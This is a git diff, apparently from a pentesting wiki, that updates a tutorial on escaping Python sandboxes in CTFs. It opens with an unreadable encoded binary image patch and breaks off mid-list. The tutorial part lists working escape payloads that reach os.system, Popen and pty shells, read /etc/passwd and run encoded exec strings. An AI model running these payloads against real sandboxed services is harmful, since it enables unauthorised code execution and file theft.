za=?0x|E}|iW(Yxwm3kq53H7#f@R@;Y?p3a?qYBdP54!z9?bDNi7^eziBS>xWA@1To zGF24_B5I34@=LRyFT9n1+HV^O{i7xLgN=*3F$CF7UXaDHozw$T`N+xF(?-D-8qL#G#wbq88JM?Mt%F!qNa!-6)92! zCy;%pBDPr@&o6r-qw#p!$1^xg88T^84RC^^K8_5SmBM7{s<#DpYGh*cOU-WL}j2M9+ zD{I64*>B=s^dBf^*XVF7D=UjxR^rK}D8WM>7};tFLy*o_nBE?da&f8aUs_tEGhE_V zGVs!S7s0SHIc)?%+Pnx};HCF2;Q1|$8{G@vA=HAzEz6J_%*W|UhYeEO4Z^oaBZ_4;`S@cVLTH2Z|$LcelJ zy}=Nq^Te4PO_b<0RZ$(4s~{kRj7oQM!A8;E{p<*-VpzR~v@VZwTBQR}A`)Rx0+A2| zB@i1yMhoNu>Ggp>+MRBz-KnYnDMSmmvdIdu5n*H%1SF3{BAJ2&85u#SG?@s*2n5m9 z%lL0UCGgQlQt5Om8x$%Cl_oO`LyVLQ8i*DS-S{K*(%TY&WIP_DVQjT<*xV-kl8Q(9 zR_JkNv~(#iQ7@khs;Xh=5X8BgWqG)iw|F0c!sm7%=B?N3x*m&JiFk~Z9ZiF=-&9pK zEi;jbM+_r!!~3Yy^(bfQ3BaCYGH#h>;Jyp|-@H6<|7OcHEz=B#!|`}58hJuJlzD($ z${|6Q6%L1@Q7aq{`+Po9M4+e`pC~)mcL?=9RIzPO*DbEC-g}8-=GcHZd%CZ6yY4)R z!_d)Nw!wr#h>Nmwu`~#c!;5|p;1I+m94|)GBb1sOO5Vq>|3A0^6i)UT5jF5LGXJ@i zzeXA6IPZ_yfL0thSpO)`dd~b08$k+{Lb+b57jj2Aw)A33E%8ThFcb))zVQ(%P3A-p zJFB)C7B24}V)0X|w(dZX+QQ@fPvD(NgCPh+VVnqpRZt}rgoj-q1cNSArikn&1R0OV z^L)5-{B}FRI%I$T6+jmY>w-wNLtM%p;e#A?LEOp*Dp>h+wRi(}jlgT&$^rV@Hd*^Y zF%OrrM@CA1S$&S>q_~yOHF+kmKoF2&9$>jPbW^>`L6L*sA30!utXX+Nc|2ZTv*8KG zCf@TX^T>AzAaE&rB=73TbwReHg6!~crSaOT_9On$RMa<~k-PLlsVE4%SwIjR(sgZZ zb-8(+xDH-rQ~J9X=Dv4M>ZIdhC)%{Jy!i`6*>2@C^>wmju^YxbUV;+Qy|aEaU*bP@ zllR%#uns#ahnGcZ++CM)aQyQZ7SB67`{_@|5BRwts>tYrqQ3Er{7$I9OTVSmP`7e? zr8KF55P~d^3w4$^v{&-6`B?l#{EymPM05vE_fN^Ia&j*Wf$ z+~j}!Aok%8Mm9a%>G#_C>qW%MrR=R8e`ex`=VpHN{n)7=)?WU~fbxS9Ry6I5Vujbh z*}9ZHqrYn~wFEP7fkOs^?tGziIBfvWUgbdJoyUkGD_~?f?#b?8(7HrqN-Hj9Z~d@i zjlJx;AU@^N`l3BXj7xdF_1T|guevn*gA>KBpe9XXiAsI+FW84}uJ%QZ!Y&m3V}(E{ z@-ksWU04`FIgo|HVALDnxG-1|wb|-a{WgNY3161TWV14VOvGXUJ7DNr$c0(AI;v$w zPGxBBR*qJmGqlLI5Fg7E3beoDD0m$5f#5qo2sPT@{tfk6O*`dJ=zYy8FL5jTdiL7a zgY{u)A!L33=hNZX{oPvOLV?RYPr^+7r=Og_I~4TiKxK)1gTPM~ji7Kp*>?3IAy zGb1BNw?C+V>VMP4Sr0*kDWrZb`y>Ysdzuzf{ZpykZ@EwBCvaX##*T@$6onDt7~XIQ zB)cULL*+dt9Q9bJ;M_d(C;@`3jps+V982$qu95V7aP}!Xn6miXdWBXU2(mQZDxx;A zo9veh3V{ml7yY{vhS&$utpI`mH|Q6Lo?bd1z@6yXP_T952(tadmBvt*tIk6w^0Bm! zZz43&j-10^=rlOmu=hDpwA=ps@hZ0q!DC@8%6%%a8>V70vP>a~A~J+*Oa)=DSY2IN z{Ow1k@1R@xEEQfOd10ksr$b9`bD!)M2ZBhe*t^p{_z;Z=EY5I=7Zan%XpQIPlFlJS za_!yE%DK3*3bGPEpMEHNm7jM|OPbU`HfBd%8i)iL`(C(|*T+uSm)-~=$kNhc|LM=m zUqI5^oJJ7TJm%*|#oPH$4aKdTR%tQTN_jzSnl3cko!z;1h#uZmLcgHf~bX-98CyY(upKzr-4FVlUQ zI2<04BZzhm{atvJ^U6@HjE8KHLTFf-Zso!Cu2S$#H`gdVXCYDfDEuCsb*$4Wv4zq6 z{E!D?rnhk^@6SKe19!;c;$Z$6uBjZBOEM^t;R8#M;ovgBB6bLdRYdIre{{J7Qg5~^ ztyJzqtj_=h`KFf6$VL$03<$+Y@6`XX$8>W}AjqsY z`0Bv#Yy_FLf#UlJtB>w~z^+(2v87u%%Qpwfw=kM4uM0A<4bA#aeo#dZX*djH&6+p9 zpO$-+GlQlvdnlqYHaz2fG3x7fahU<;J#C&C6gZ*@84V*vCLpF#5E8Ub8yHyu%pt$ zh=eUWECv1Gr9oO1y5L~xjj-ffm+~gp6X00EL>pfq7=m~eudnJ-UP=8I*ilQBA`X*V zX-6_Vt(^yAsH%q}5Tm|jwhBUo(O47(KVBYv6moIxgjgL;6fuR zZ(vDyw3@P7?96jYng=0>&_75i*=bn47FZ!>w z_o`jh-RE)V-pOP%<#yMuXV>X7y8Czj>%Z3e++X2;SvWIR;KLkT*k6j?|6VGticidD z{+#vr2Rom|Zzr=YMcQ4%8Q>c|mPx4LH zU;c^VOM_RJzsMM*5rk*Sdw1{8*Dw6IpFz(ZIzLm$yu1Ffm*Zj=_wL>L1^EU(v)CW5 z5fX`On#FVc{m4*3bODfbAO@%F$j-f6Fa1*R_CGHf#f8i}s^9ypuCe zVjQh}+wV%;f8RK`YTgF79_{KZ4#L=n?a~Gl|38zJ2@b zzNJkkZ*S$&5(s>$7Z-Q$opFnt<4mUZ*&%-s*F=z8J4v~>C%@hOzIXAYn9V%y{NOLl zywf{hQT`r65NI>EZ{I%e{olbq`9S55sJ2A(U+;VCANiHp0MQde1yKm{Dm9B2g{=I| zzp-Xx$EG^@%s=)XQ$1qnpPO&9zvF$45B=8#Van=LYML+o)&G;Uqf+wiEkt0X7TH61*R_}GsPYNqky?96_l{={D|(|>6k7eC2-TltT@zy2>?oa=O$8zIQq+1cr< z{mB=8)Xl_SLO%1Z>NCH$QaxKvSM9GwKm3EX?h%9X#F_81-tqT?fBAch&1QWznQFJG z_o=24en}5E^I-J3A9WwYk46FVZ?)d>;pmGF45~VP7nNJT@^k*Xzmxx)L?4;Ay}$YV z?<~=y?$-IOSI;NM!{?u_z589I%pc`{QnHzED*c)F1|R$CvM;%{x6i(;a&e2_`PHrJ zpc_YCgg;bHFXCs(il|70K}FOhRV15IMfU#qzsX-g_Adrf5k#~Qu8b<=!QuzkHr=(O za;C0RJ9e}_l+FB5zW9pwcKjQ1-~|M+fAh12C!fe?q+=ZaoAb{6_kFbd8#ys&z{&CQ zuNOb?w`Hovcm6H!$^Z0!DOr{{L#0jK-cO`#JedFL6a16rGoK$))ezPBg=)HUoW&@O z`o30(2o58N@s3g-v?)>t<-c$h5ahxnpyZL&1<`Z)>%TT5DO61T^?!s*J~2+s-JSLx zXpd^$YPQ(Dxcj>z1-Z|9#w;%6Ap`BA6acwvFo#Y)5jzN~xvQ7NapYENAQq5o{y1hJ zCj3g=z9oHM9r`i*#oW20H4u=A#_89+#Og;gw=fOr)sqH~=6e%kv0}iiXW@ARt z@2Rj0W>ta@;Sb8fRaHQg|3ix)NvA1Fts5_W(#_WD4pJ;t)hi=-Fgw?hupt2!9G0W2 z$(J}-lg<2tR4#6sL3X#d3FE4y$)I@I7RAZfl&Uk66@}otG#tNNl9t{Tf}G!N50rTR zSopuR1j3OQ(nyjBVn`sjR4tIr>Dg*?8uz6`IkH)I^)>yI{vEH>3E}xrUerdT!3D}# z1raTT2i)p~S%k?0@4k@t8YEB2GQ~pCso3Rm>Ez^uWSBD7 zEaA+TVzGeC9f&w5#bO>6*h_dgq|4?{ibV`;+lC54yC@FB)yXPWh4OMWg*dKPp%)Dl zf>;%&Y*os3g;QzJt)^Ja7YZl&lN@F4Ks_p3Hk>7%Q>|6&jas7>v^vdBuhScLhvUIm zA;@&Gnl0CJ*euAFu{m9Dwwu%K<`gCG@UCBLuF;+>(>@#hnvR72h5A?LS^`Nlznz^| zI)70ytNoKjF@G5R!9>CoVzP)T4WiO)u=(sn?wMZgiSX-@SbU)ocIj3fdAAWi)#;A|JX$kN(9l#x0e#dE`ngnzR6VL_PPHF4zcAj z|7s!RVGLpf(KN$}xM%0LxEv~ssB8S0IA5Y7*{t8{zx3<=d%lH#((;eJ6t>V8CgK0k z4RTopk#`QbFpI?eQLp)gATFid*6OwCWIP#13}mhqD-kSTwjtuDF)%l)0J+8tb5nTA@G)LQxphJ5&BvM5ml;&966W z&34d=!l>Wr4Wr?BFqw^}v+-;(ov&t#7(rH>Ql_pzkrlX&e9vz?Tk7EDngCGdE&?6Rk6Cwy47@v_=nNRe~m(^6gE;>B4 z^OO*B&1vt3rzuh7-u<)9^YJ&(D<*PPgc?lp(DH^kzbD2ff?UQQd+nWve~dJO9AuCf zL6S<1f{^q3*6jIDg&+HL`{Td0+!KVs?0<20v-#4e+s{4U`RKo$wYk^|zKp|97a!5z ztbBQDz;)SEY;>X28I>BL$zyjNPgZ(*(|>g{dAzE$jhmB)#tv|bj1`6Gzx8j5ASQC? zS=-!qa2zwo-jPNIE`Pe8BsSaWy z&czo*nh`~0Of5wJn$-IA|NV0Nqn`{v`sv||V<{Y>&w)|`1fk#IIUxw*JJc8V?3^mH zlM93pgvx=u@E(aTz;XPK{%44~>>4Z;wQIcesQWUd5OUY$(sQJMZ^2#f( zyllJ#O>n}C|54ri>1R)V>LVvV^^yEf|7_u({6zzB&pc=S z{BK%rwc=JC>W-_tAc7!ebcaD&Z=r~eGjO6Jwu91Sh{afzO$ZVIK^pCDE9yu6QFk~Y z1es4}3sylu0|r}2QjAC-+ynsob%FN9S!4JCWidR-d~z^W9dVV&p}WwHfA#xypyzLd zCvg(ZzF15mI-^oxwDLhk$&^eoUvB1)s5F9c$0+fGvSR=r zH6TcpLNL1U7}m9#U#V0ej?{c)&>F{lgls4fQ$cZ5$Eoz1;E$*o_L{A_?>Fl~&9712 z5F~s={Z_lvsMWmDwAYTBji%r3G`fRUcMvwiTD9u7+VxVgXxrr=@Pnq`8@4;$Mt|7u zjoR&QqZKvU-Db7wM*Xl}uQFR$Rv82{XxAIncDK7$d$O6QvL`1>6k$mO0UIrzkWyk&2&9nY3&EOee_Sr}Y#IDfg*C)+ z?TTaBco~711cD&agK!LzV#;=<;#OV1?gK$uL8}`k5M(x)E~fM4Y=PEvsL!GCLJJ{A z6ox8==>4FL*)RV!2H$Mvha>N7wc*!RmrRA)F}I%AhWfu$`|l`6Ca)a{ME9R#okLe= zR~A&Ni>geitJB$XGkdcl2vTzHhpQ*wmdku-Mwz`28zydgzi-^XAM;1jsi`NrhrGUb z=YC`PzCV%6d~k}t_>+q{a~`G-F@_}gLm5$%H>53%AUB|pT?E;AR{5Y9o05nm(HJ;F z*#4P754~~c?!{fXnK3ZF`2D{b9pFkoTKp~Ek*`YpDSP=tV+R`+jrmGXXj%oi8GIzA z4xTr)^TYI?YW;)Pu@NL@hV+OCBc=^L%-E57PhUyfDbm>8RJ_138O9CrjPjX66Tl8R zDtnnxjLqF)tgPtkH0h9+mZMtvxTUgSwrGmG zp^EJ60->VpOZK7;N8{mW+#3v{C~CFaVF(q3ji}NfmrJ2a2!_dnHIEuaUX%vn`%pC~ z$ikSxQio6n^9L9OMiDg7WnRI4S}HcoAAYs!I&KY_tf>0I=h&!QX4mU}*lN}rzUMi< z??sp#L*MtpFbKoIwyhxWi^XECR*m{C299>O(dmLb8cn~^^qXPLb1M)_f*Stl&*v?x z+-%pIt$NgLc6woN*y;A0QNP(6Gza5$r`HTxxM!X$862_@0pmspa;z_76+}c41vI%V zw25R=^+pk|>N_DqGxOuUIT}6k@FN%nVyTH8h>p{VD42r4iXn}dzd42w*~7sXQ~|*~#f7?EpPq6q z?sB!BFP768^@SNv2g6ZM_l0S45Qfl$We-yY5fI@9xg2wm5DY9J%pVk90b=MX>}>cD z5RpR)P+SLefyKf9T^CJa98@b)atR_fNFi}umy5VtmR%~r;Zd!*sFQ(`>Lsg;cDTHt zUOP-7sCY(p5R0F#Vq4UJrsTMlX0z`5UaeNG1=U*M`M%d|*4t5&g_c$nw4z+5ezxfwaMt7)T$1F6U33Y zM!U9yXh#TpL6iid5X6EJ)hZzhQ>Ismyr}r0_~X!kCJ#qyx#Co+wQ3O7!%nl)ZTAKp zBM>v4EoTdOL6GK35`~}!l(tI{gbuB?y~RkyUyL*vR7Vvr2m&tcS&BJQn?R6sj!bMs zWdvESPUjFm*825`I^{m1dHfIYZU0~pB>iW*OzkpxY8Qi|4RbDy`6G!S2l#{U{n{u* zb;FUz+!-7~5HmIAAc9aL@y;z{$>ty#Y851Xt$LaS!wG?C?Ip3+D##xFBasoqN);#*2OTH~=2;ZdgK3>7~u7F-B-S;XS5DMD}R((4Y~+ zh~9JQT27CXb=9MBj*I~!^p(;#nlRVIks5Y;DDogWQSd?F!tk*@J4Y=tH>OO^~AWa9vtU_dW6JQPcXpi%9#VI^Tx2&hTwQb8Pmwey#Jg0;fGdulX zG-@a!fS)1`tz_AYn$kMx5**59vy3dpP52T96fgk?VhBTM6FSK8F$}J3N5zjwDMF|x zZ#$I90t8`SDi0_M0|cQ!402&Kf{+oU03*oJ(b3EFDS{xB5mRRb2|K-ZZ`kRN4KD~G z$Z{=J(r<>sT+oAr9FkLi!oPZLW#dnqK&E@CKw z$&_FG3zSV3PKZB{0&@!ZfD@2X61ZN%YQ9*^=JUy9hWJZ=(Czlxolc9EW)mgY!!Ya^ z1yUs_V?v3fz?l9ImN%5h0nx(oJg?vH4Tpnvr#+oc>Or0AVUVmr5(iTY^M&KEI~7N% zaV{HL!8xv{R1g+g7)MYkMCZA1w-?H@r8HK`V}aKcONk12Av>2f63MXTv{@4g* zMf^oClxhoVi0vB&J;2aO3uol2EEqx!K8vwKu3&XUolJL3pODQe3SlLL({_)JSagXI zq)x(&u!uIU?of!Cse20XW5E&#j393z$m>NZIv1C<{`)&Xv9rS<2^wB`Li&Pl zTpH2196@yP4}lLJ2*6xt02ZN6xjPSbaECz5CHL2ll$2}4fI%c;P)A~T2QHS~<>2$k zf!%9(4?j%uQIsEL9|t8Q5Thc9*6cNZTwDBL_)yixSo27|8_ba&CUN0`wyuF7Tu@{m zh^Sd#Px=A@Vlvfxl;IS>ky=a>YwFPDn`^zuX{o2t56sq(bEp>-j?oqo^K0fWmRW>q znw_J#s_X0z35kt2kyAb1CS z1W1bEG4n^gUZ)%wSWrO{I_$#H6Gn}oUY|@x3?EU{>2#2k>s84Gg3Mav#UOnK(gqgZ zL(Wv&vMkqi$CL4LvFP=C{eG|8?G6Tm!Ejiw2ZO<&6GeWl)`_AfB$lY%ZaJNQiaZ2Fc7P(aBjrj+ZOYVm>EKcXxwoe%nV#MEuPG7t&|JKK{|zZ*|4mYR z^}{9S{p%qJu1(zzo0oozba2l_s8XUNnfOtZ6tmX_q6(3v^IxEZ+#)#y+WpNJ3c=|3 zi<%gdi7;vOz_v=qeIV{IFVaR3ViBIUjl=rr9xX)hV(-9|Hxzg9c|r_4*oBhR341p+ zeqfzCA$}UoAZl%tW@EFeDyO2kgp*tdJK#B`7lDh8yqr?vaQd$^32qseLFrMdzVc75Yn$1SP-|uuf z3>j75uhnaS6}k#mR2LWmFRJfTL*Zq6?MCbMYCIkfhr`Kuyj(7~+wEd8 z@ArDM*{l_YyIgK@f(mPN%~mB){f!C03R|5Sw7UptuP*;{bxlezI$*0E{4r&<6Am{4a+< zjIq!@+NKXuDJt5fK|vV~#2ix`1^_}iw6KDp+6NR4hn%Ml*GT1e*Q-`s6^KzqLC6bI zC=|1~-0^Xi5QLN#NGv(DiLq?k@mxRf8%Sc-UXWpLI7M~T>73GG(q53*1+t~;WLuF# z_8|zHLX^S*wc`>5VZ#TaDrEi;1fl)xIgQyxBM2-YF@h)%*~}hYo4VI+a{t5eK?Z!l zCTkFf(22~1*kgojb~okBO9xl_Ds=B$J*!``CjQtreea!|^-hf-*O=s~72oC1r0yC& zWjysK%cL?0B=is7*iRtWcsl(9CDywLq6p*y2(oY4TLmPxfZUuvbO?qKL;^7ef*j-z zYDc$I1=Zk(n+!F4V699P@#Q1|q-Jz+n#OZ}EOEq1xyZp)kiezY_36wg>389YOVGsR z4<5@^80ZgxHzd92d>NfGql>!f(y}IwoDqK@^Mxx^ivF>YDj@U4ayDN~CezV)LKf71 z)a`1)Lm>zA2YW%xSPZgoSp}gHGYA_&2qBaNqC6s1A83JsAIP?)6A)o(HXCS;OJ-H} zmU0#hOr{mvg6e_4Coy}(bL4Q7*PA22|e7;&P7xVdgv+DPI5JsY?TrRiU z?fziUAN1)LxZa*_rjyBRIvI_I)5$dIv?t@S<2W3MX|-D0)6>O#J|2z8p0n9*x3_Mc zuU5;=X1(2R8$pBlgW-b`6wMzBLBy4^Q2tXDc2Oz_BM1p0Z^F`KZ$u~|SWqwl1c@1hi6mwY z0u=lR1S$e3#ub->M||*_2tptd&+G9>VF%5$+69uBgI~*rswl6U0JDSSdN+)p(6oW- z>0j1+vUBh5H`2ym+1}BvqekE(nM|b6=Mw(V<`1kBffx$GTpK|Q^C@9RiZhZW*yW&< z-BJ?B!{QGO8%pzlLzNcZ&rp(@&Ett)6GnmqF5S5H6)bYF-BoITCLYB4I&t9 z5~dL2vvuN4{IqPHmCz9l#5H1QK7bW*elRF${bRjYt`|$hUvvuYWH=o52g9h_>vTHp zcDqI8P?h?jG!U%Boyt`}m_npG45!0Lk_!i4_}z0+mz@rwfGHb0*xSJgFRXp=epXP( z0czV78=eo>t!VRUxm@-Gis(NK&ggjx!t#=Cj#o zIGBvbqv2pY8cinS;h^8^_C~`&v(cE0M`5$s@AqL$X|-_LV6efjW_7mRZt$C0+&Vwo zZck^^X;7~-Ot8a)#|#j%KfxaWhxCp^+bU9H$Rn(O2%7Mw`Ju?vW&S|f4u~Hdh=IA5 zE5EV|g8UzphGhytZY^HizRp9X_KI6B!w5qBkvlpDf^aSjSwW70AaL~}5aalPRA+DZ z`knrWRS-sy>3liYUJ#1KD9#Ws2v|h>LWDNh1)??$7J*k9FV;dh$dc$<$3loG9Gq>- zZd2W6K!;s-}z*bDL&g1p|CLX(?`AO>5=vyk{9TN*=zQT9%dhj(5FL1fZL$&Gz4 zt(5Gayyfx-958uY(imp%eGLXNg%Dj8T_9w~m%1N84u6Au_14G;i!#D+Ia5XT`ZQqP?h09?I#}72jbv<=2LCZr7XB^%}~@YPDJ{@tV&e zeoSZc$yDhd{r;fWLrjD%sBPu^fDobxq?u?C!wAAE2(Drz%jOs%ooeHVR*1Ds&aSx1AE^PY4mE-uAr*nb+UEM`zf#(X6|0CmM<3gJ@fD(RR^v!w)rsD5=^5fxBEbx|$b zDV41P)gogA$!4=hMpbwqNDc^627*+*T2O1Y8m)*jVg`{`K_);D7(pZ>X1R_V#F(^^ zRzXDe*g+5zWmKjvL54;U}$ z4FC^wE$EMvIlL)?n6o|Oi0nyi%KksF!F~dOAd(hBOa!^OxJ{(B z``DL#nY;V}DAS9GFj{%pRY79@Fd{D|f++B~i5Jxf#E=WbWR9c+BEgqS;ltn(s>vnf zaOL0%1R+rbH__yw))Lw{KoA5CL<0v-xN^5rJT!kG{z4%bQwh;~47nwNAWR6h&qgR81i9S`dU& zU;=niLzMSuG|Unprt-nQRAmjp0mNXcRc|yJjz+^?uREEHo6RP`LSM#NGckgYq~Uwj zTGe+Q$M>q3OC6_G4_wzpW~&c5QWiW9O6fS)IufR znOt;H5VE5pDMqOvh{eDTV(FsnNW`V?xP@Zr1RY`Wxtvl#;6;TEMCIJ%aw-mE6N1!J z2r`-ur!zE&nXb&FTv0(x{@_5&X1ikq(HXf~|4=o`ghJp5(FwPLAc{6n=OZph#+UFp z$bXrW1ac5TNF8|#K}-aAc;j7|c(8j5%3yHAMFnDRsxjawd>dsu{VgD({X5%|!9y|EZZkj>hFgDauKJi){UvVSmvq~A5C!~%z0DDsEwNe&br zX;y-xgaR()Wgz%iF?>MzSWx5znYWY4lmZLjkN#lL>-VB=m;4``b{jKCYQzX)_RDQF z8m(5V(P(hai-8&(W>M+2Dm#Wa!*QHi&4(d$IvEZJgF(OBjmYgG5Q3}BPPv}z4qMSM zjG`dyhWNa0*c!DXzgiXkVCIl_R!6v%u3(B~S(-7VVk$$3<_|ecIKszt3tY_ju~$?B zfRZG1{SV;@LIk?R*dWaE$bY z;Rd;iKL|mxK#;6Xhamt#YhDCmUNSx$? zcrfu`PxN32l4=m6zm>}fWWP;TK3=IHns+X4r&N%H1fo?CMINdH{Edwu2BR3cxWXT4 z1R?y;1VT9+1O-AH80Z{bwNsyswH})gB0!@vRjFS4S)x*^Fvpb$Vxof{vy@;64f?=U zYrZh1g*0@mR!drBKjJYuH8;MDMskiCXqJJvfnEGYTlz|^e5{sBe9&UCn9t|4`J5`B zPU7GT{HKF%uh)q>?GCD-aw3cpLK=-G;x9TYmte$HL8L}I7id>$x8yU`a)w&R{DBJV zw78&tbCC6A(}g*-Sl7YIVH zl2s{`%6TLtqazHWFqDo9FRD?O?C2PF)IzCTwjIYqAjU+HZhtf&1W|R#7VG(PeF=gv zkw~$S7*KYiFajcwI;e&(Zfj^EQvXBA9$E|G&H0MrFNm|m2*Qal2*kW)M}6Hf; zLqiZf-#*xs|AxCN4FNk55lsa#6I@(eBt5nID>;lHh-U39yXi3cvtWNsro&u?AUYA| zK_n2MNZJm4z&28)(4Q{wIT@W zp3;)Wh#dss6U>u!){KhX?A{@@hiL;~vjB4}m^`T9>1;NiPN$Q}WCBa&81au0f-k*Z zzt=u?2*YMGPY5KoEqBwR43rCX#a5 zP(f%u=lv?sfoAn6s494&_9F*Hg<#~6;s;$TmCxj(iY=~*AaeHJfdUjNy-LrV#I>#mTjkGAqys7C{mdOay@(!U&??Rq-*g nfXHA5NYbUrNCkmYb-DikI5!~zel5ow00000NkvXXu0mjfLGE9y diff --git a/.gitbook/assets/image (535).png b/.gitbook/assets/image (536) (1).png similarity index 100% rename from .gitbook/assets/image (535).png rename to .gitbook/assets/image (536) (1).png diff --git a/ctf-write-ups/README.md b/ctf-write-ups/README.md index 2cfa86564..7328e9213 100644 --- a/ctf-write-ups/README.md +++ b/ctf-write-ups/README.md @@ -1,4 +1,5 @@ # CTF Write-ups -- [Write-up factory](https://writeup.raw.pm/) - Seach engine to find write-ups (TryHackMe, HackTheBox, etc.) -- [CTFtime Write-ups](https://ctftime.org/writeups) - Newest write-ups added to CTF events on CTFtime +* [Write-up factory](https://writeup.raw.pm/) - Seach engine to find write-ups \(TryHackMe, HackTheBox, etc.\) +* [CTFtime Write-ups](https://ctftime.org/writeups) - Newest write-ups added to CTF events on CTFtime + diff --git a/forensics/basic-forensic-methodology/windows-forensics/README.md b/forensics/basic-forensic-methodology/windows-forensics/README.md index 15201ffde..56e21c4fa 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -130,7 +130,7 @@ The files in the folder WPDNSE are a copy of the original ones, then won't survi Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced \(search for `Section start`\). -![](../../../.gitbook/assets/image%20%28477%29%20%282%29%20%282%29%20%281%29.png) +![](../../../.gitbook/assets/image%20%28477%29%20%282%29%20%282%29%20%282%29%20%281%29.png) ### USB Detective diff --git a/misc/basic-python/bypass-python-sandboxes.md b/misc/basic-python/bypass-python-sandboxes.md index 6408c7f06..08854081c 100644 --- a/misc/basic-python/bypass-python-sandboxes.md +++ b/misc/basic-python/bypass-python-sandboxes.md @@ -18,36 +18,35 @@ pty.spawn("ls") pty.spawn("/bin/bash") platform.os.system("ls") +#Import functions to execute commands +importlib.import_module("os").system("ls") +importlib.__import__("os").system("ls") +imp.load_source("os","/usr/lib/python3.8/os.py").system("ls") +imp.os.system("ls") +imp.sys.modules["os"].system("ls") +sys.modules["os"].system("ls") +__import__("os").system("ls") +import os +from os import * + #Other interesting functions open("/etc/passwd").read() open('/var/www/html/input', 'w').write('123') -``` -Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. -Python2 **input\(\)** function allows to execute python code before the program crashes. - -### Importing - -```python -import os -from os import * -__import__('os').system("ls") -``` - -If **`sys`**module is present, you can use it to access **`os`**library for example: - -```python -sys.modules["os"].system("ls") -``` - -You can also import libraries and any file is using **`execfile()`** \(python2\): - -```python +#In Python2.7 execfile('/usr/lib/python2.7/os.py') system('ls') ``` -Python try to **load libraries from the current directory first**: `python3 -c 'import sys; print(sys.path)'` +Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. + +{% hint style="danger" %} +Python2 **input\(\)** function allows to execute python code before the program crashes. +{% endhint %} + +Python try to **load libraries from the current directory first** \(the following command will print where is python loading modules from\): `python3 -c 'import sys; print(sys.path)'` + +![](../../.gitbook/assets/image%20%28533%29.png) ## Bypass pickle sandbox with default installed python packages @@ -89,7 +88,7 @@ You can download the package to create the reverse shell here. Please, note that This package is called `Reverse`.However, it was specially crafted so when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave. {% endhint %} -## Executing python code +## Eval-ing python code This is really interesting if some characters are forbidden because you can use the **hex/octal/B64** representation to **bypass** the restriction: @@ -114,7 +113,7 @@ exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` -### Compiling +## Compiling Python to bypass Defenses In a previous example you can see how to execute any python code using the `compile` function. This is really interesting because you can execute whole scripts with loops and everything in a one liner \(and we could do the same using `exec`\). Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF** \(for example because we don't have the `compile` function in the CTF\). @@ -141,7 +140,7 @@ names = ('open','read') # And execute it using eval/exec eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ())) -#You could also execut it directly +#You could also execute it directly import __builtin__ mydict = {} mydict['__builtins__'] = __builtin__ @@ -161,8 +160,8 @@ f(42) ## Builtins -[Builtins functions of python2 -](https://docs.python.org/2/library/functions.html)[Builtins functions of python3](https://docs.python.org/3/library/functions.html) +* [Builtins functions of python2](https://docs.python.org/2/library/functions.html) +* [Builtins functions of python3](https://docs.python.org/3/library/functions.html) If you can access to the**`__builtins__`** object you can import libraries \(notice that you could also use here other string representation showed in last section\): @@ -172,7 +171,10 @@ __builtins__.__dict__['__import__']("os").system("ls") ### No Builtins -When you don't have \_\_builtins\_\_ you are not going to be able to import anything nor even read or write files. But there is a way to take that functionality back: +When you don't have `__builtins__` you are not going to be able to import anything nor even read or write files as **all the global functions** \(like `open`, `import`, `print`...\) **aren't loaded**. +However, **by default python import a lot of modules in memory**. This modules may seem benign, but some of them are **also importing dangerous** functionalities inside of them that can be accessed to gain even **arbitrary code execution**. + +In the following examples you can observe how to **abuse** some of this "**benign**" modules loaded to **access** **dangerous** **functionalities** inside of them. **Python2** @@ -203,8 +205,21 @@ get_flag.__globals__['__builtins__']['__import__']("os").system("ls") # Obtain the builtins from a defined function get_flag.__globals__['__builtins__'].__import__("os").system("ls") + # The os._wrap_close class is usually loaded. Its scope gives direct access to os package (as well as __builtins__) -[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__ == '_wrap_close' ][0]['system']('ls') +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls') +[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls') +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls') +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls") +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls") +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls") + +# In the previous example ''.__class__.__base__.__subclasses__() is used +# You can also use: +# [].__class__.__base__.__subclasses__() +# {}.__class__.__base__.__subclasses__() +# ().__class__.__base__.__subclasses__() +# bool.__class__.__base__.__subclasses__() #If attr is present (''|attr('___class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() @@ -219,6 +234,94 @@ __builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ __builtins__["__import__"]('os').system('ls') ``` +### Discovering more loaded methods for arbitrary execution + +Here I want to explain how to easily discover more dangerous functionalities loaded and propose more reliable exploits. +For example, knowing that with the library **`sys`** it's possible to **import arbitrary libraries**, you can search for all the **modules loaded that have imported sys inside of them**: + +```python +[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] +['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 